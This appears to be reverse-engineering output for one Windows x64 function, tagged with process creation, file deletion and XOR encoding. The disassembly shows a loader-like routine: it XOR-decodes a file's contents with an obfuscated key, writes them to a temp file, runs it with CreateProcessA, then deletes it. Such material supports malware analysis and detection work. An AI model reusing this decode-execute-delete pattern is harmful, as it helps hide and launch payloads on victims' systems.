Function at 0x140001290
Capabilities:
Create process on windows
Delete file
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r12
push r14
push r15
sub rsp, 0x5b0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x140011040]
xor rax, rsp
mov qword [rbp + 0x530], rax
mov rbx, rcx
xor edx, edx
mov r8d, 0x110
lea rcx, [rbp + 0xc0]
call sub.VCRUNTIME140.dll_memset
cmp qword [rbx + 0x18], 7
jbe 0x1400012e4
mov rbx, qword [rbx]
mov rdx, rbx
lea rcx, [rbp + 0xc0]
call fcn.140003040
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xc0], rax
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0xbc], edx
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x140001ada
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2e0], xmm0
mov qword [rbp + 0x2f0], rax
xor r12d, r12d
mov qword [rbp + 0x300], r12
mov word [rbp + 0x308], 1
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
mov rax, qword [rbp + rcx + 0x108]
mov qword [rbp + 0x10], rax
test rax, rax
sete byte [rbp + 0x18]
mov byte [rbp + 0x19], r12b
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x2e8], r12
mov qword [rbp + 0x2f0], r12
lea rcx, [rbp + 0x2e0]
mov qword [rbp], rcx
movaps xmm0, xmmword [rbp + 0x300]
movdqa xmmword [rbp + 0x300], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movdqa xmmword [rbp + 0x10], xmm1
movzx esi, byte [rbp + 0x19]
mov rbx, qword [rbp + 0x10]
movzx r15d, byte [rbp + 0x308]
mov rdi, qword [rbp + 0x300]
test rax, rax
jne 0x1400013eb
movzx r14d, byte [rbp + 0x18]
jmp 0x140001410
test rbx, rbx
je 0x140001403
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140001403
movzx esi, al
jmp 0x140001406
mov rbx, r12
mov r14b, 1
nop dword [rax]
test r15b, r15b
jne 0x14000142e
test rdi, rdi
je 0x140001428
mov rcx, rdi
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
jne 0x14000142b
mov rdi, r12
mov r15b, 1
test rbx, rbx
jne 0x1400019f5
test rdi, rdi
jne 0x1400019fe
mov qword [rbp], r12
lea rcx, [rbp + 0xd0]
call fcn.140002f80
test rax, rax
jne 0x140001478
mov rax, qword [rbp + 0xc0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xc0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
movabs rax, 0x33d813fa39c9eb9c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
movabs rax, 0x17f64afa6517e274
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
movabs rax, 0x106a0f37ecb1b40c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
movabs rax, 0xfd7fb053cf189af0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
movabs rax, 0xec560eaca2466db2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x40], rax
movabs rax, 0x11188d9017548740
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x48], rax
movabs rax, 0xa683a0912c9dd4e8
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x50], rax
movabs rax, 0xd75185094a619e6f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x58], rax
movabs rax, 0xc7d38d6e98fffbe4
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
movabs rax, 0xa9b601a1fa80f00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
movabs rax, 0x86beb2354dd6bdc7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x70], rax
movabs rax, 0x17be555d272aaa82
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x78], rax
movabs rax, 0xc5299d0439d3ed5a
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x1958576bfee0a00f
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0xb94e40ce20762c70
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0xf22df7d11455c9c9
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
movabs rax, 0x33ec13c239afebaf
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a0], rax
movabs rax, 0x17ce4a9b6522e210
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3a8], rax
movabs rax, 0x105c0f54ec86b469
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b0], rax
movabs rax, 0xfd46b035cf289a92
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3b8], rax
movabs rax, 0xec320e9ea2276d83
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c0], rax
movabs rax, 0x117d8da717328774
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3c8], rax
movabs rax, 0xa6e1a0a02cfed4dd
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d0], rax
movabs rax, 0xd73285314a009e56
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3d8], rax
movabs rax, 0xc7b58d5a989afbd7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e0], rax
movabs rax, 0xa9d70193fae4f038
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3e8], rax
movabs rax, 0x86dcb20c4db5bdf1
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f0], rax
movabs rax, 0x17d8556d274faaba
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x3f8], rax
movabs rax, 0xc54b9d3639b7ed6b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x400], rax
movabs rax, 0x1939575ffe83a03c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x408], rax
movabs rax, 0xb92840f820132c45
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x410], rax
movabs rax, 0xf22df7e91431c9fe
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x418], rax
vmovdqu ymm0, ymmword [rbp + 0x20]
vpxor ymm1, ymm0, ymmword [rbp + 0x3a0]
vmovdqa ymmword [rbp + 0x20], ymm1
vmovdqu ymm0, ymmword [rbp + 0x40]
vpxor ymm1, ymm0, ymmword [rbp + 0x3c0]
vmovdqa ymmword [rbp + 0x40], ymm1
vmovdqu ymm0, ymmword [rbp + 0x60]
vpxor ymm1, ymm0, ymmword [rbp + 0x3e0]
vmovdqa ymmword [rbp + 0x60], ymm1
vmovdqu ymm0, ymmword [rbp + 0x80]
vpxor ymm1, ymm0, ymmword [rbp + 0x400]
vmovdqa ymmword [rbp + 0x80], ymm1
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x300]
vzeroupper
call fcn.140002be0
nop
mov r9, r12
mov rdi, qword [rbp + 0x318]
mov rbx, qword [rbp + 0x300]
mov r10, qword [rbp + 0x2e0]
cmp qword [rbp + 0x2e8], r10
je 0x14000183d
mov r11, qword [rbp + 0x310]
nop
lea r8, [rbp + 0x300]
cmp rdi, 7
cmova r8, rbx
movzx ecx, byte [r10 + r9]
xor edx, edx
mov rax, r9
div r11
xor cl, byte [r8 + rdx*2]
mov byte [r10 + r9], cl
inc r9
mov rax, qword [rbp + 0x2e8]
mov r10, qword [rbp + 0x2e0]
sub rax, r10
cmp r9, rax
jb 0x140001800
lea rcx, [rbp + 0x420]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_tmpnam]
test rax, rax
je 0x1400019b3
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0x1d0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x1d0]
call fcn.140001ca0
nop
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1d0]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
test al, al
jne 0x1400019a6
mov r8, qword [rbp + 0x2e8]
mov rdx, qword [rbp + 0x2e0]
sub r8, rdx
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
lea rcx, [rbp + 0x1d8]
call fcn.140002f80
test rax, rax
jne 0x1400018f0
mov rax, qword [rbp + 0x1d0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0x1d0]
add rcx, rax
xor r8d, r8d
mov edx, 2
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov dword [rbp + 0x320], 0x68
xorps xmm0, xmm0
movups xmmword [rbp + 0x328], xmm0
movups xmmword [rbp + 0x338], xmm0
movups xmmword [rbp + 0x348], xmm0
movups xmmword [rbp + 0x358], xmm0
movups xmmword [rbp + 0x368], xmm0
movups xmmword [rbp + 0x378], xmm0
lea rax, [rbp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x320]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x420]
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1400019a6
mov edx, 0xffffffff
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x420]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
nop
lea rcx, [rbp + 0x1d0]
call fcn.140001be0
nop
cmp rdi, 7
jbe 0x140001a82
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001a79
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001a79
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
test rdi, rdi
jne 0x140001440
test r14b, r14b
jne 0x140001a1e
test rbx, rbx
je 0x140001a1b
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sgetc_void____ptr64]
cmp eax, 0xffffffff
je 0x140001a1b
movzx esi, al
jmp 0x140001a1e
mov rbx, r12
mov byte [rbp + 8], sil
mov rax, qword [rbp + 0x2e8]
cmp rax, qword [rbp + 0x2f0]
je 0x140001a3e
mov byte [rax], sil
inc qword [rbp + 0x2e8]
jmp 0x140001a55
lea r8, [rbp + 8]
mov rdx, qword [rbp + 0x2e8]
lea rcx, [rbp + 0x2e0]
call fcn.140003540
test rbx, rbx
je 0x140001403
mov rcx, rbx
call qword [sym.imp.MSVCP140.dll_public:_int___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::sbumpc_void____ptr64]
cmp eax, 0xffffffff
je 0x140001403
mov byte [rbp + 0x18], 0
jmp 0x1400013eb
mov rcx, rbx
call fcn.14000a364
nop
mov rcx, qword [rbp + 0x2e0]
test rcx, rcx
je 0x140001ada
mov rdx, qword [rbp + 0x2f0]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ac0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001ac0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000a364
mov qword [rbp + 0x2e0], r12
mov qword [rbp + 0x2e8], r12
mov qword [rbp + 0x2f0], r12
lea rcx, [rbp + 0xc0]
call fcn.140001b20
mov rcx, qword [rbp + 0x530]
xor rcx, rsp
call fcn.14000a300
lea r11, [rsp + 0x5b0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret